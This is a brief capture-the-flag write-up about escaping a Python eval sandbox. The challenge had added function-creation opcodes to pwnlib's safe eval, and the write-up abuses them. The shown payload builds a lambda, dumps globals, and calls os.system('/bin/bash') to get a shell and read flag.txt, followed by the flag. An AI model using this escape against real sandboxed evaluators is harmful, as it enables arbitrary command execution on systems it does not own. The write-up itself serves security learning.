In the source code to pwnlib's safe eval were added this opcodes:```python# The above only allows Turing-incomplete evaluation,# so we decided to add our own ingenious additions:complete_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']```
This means that we can now create functions and call them. It is not enough to use `def func(): ...`, but just fine for lambdas!```python>>> (lambda: print(1))()1None>>> (lambda: print(globals()))(){'name': 'main', 'doc': None, 'package': None, 'loader' ... }```
Fortunately, we already have os module in the namespace:```python>>> (lambda: os.system('/bin/bash'))()lscalc.pyflag.txt
cat flag.txtsdctf{u5ing_l4mbDA5_t0_smUgg1e_m4licious_BYTECODEz}```
##### Flag: sdctf{u5ing_l4mbDA5_t0_smUgg1e_m4licious_BYTECODEz}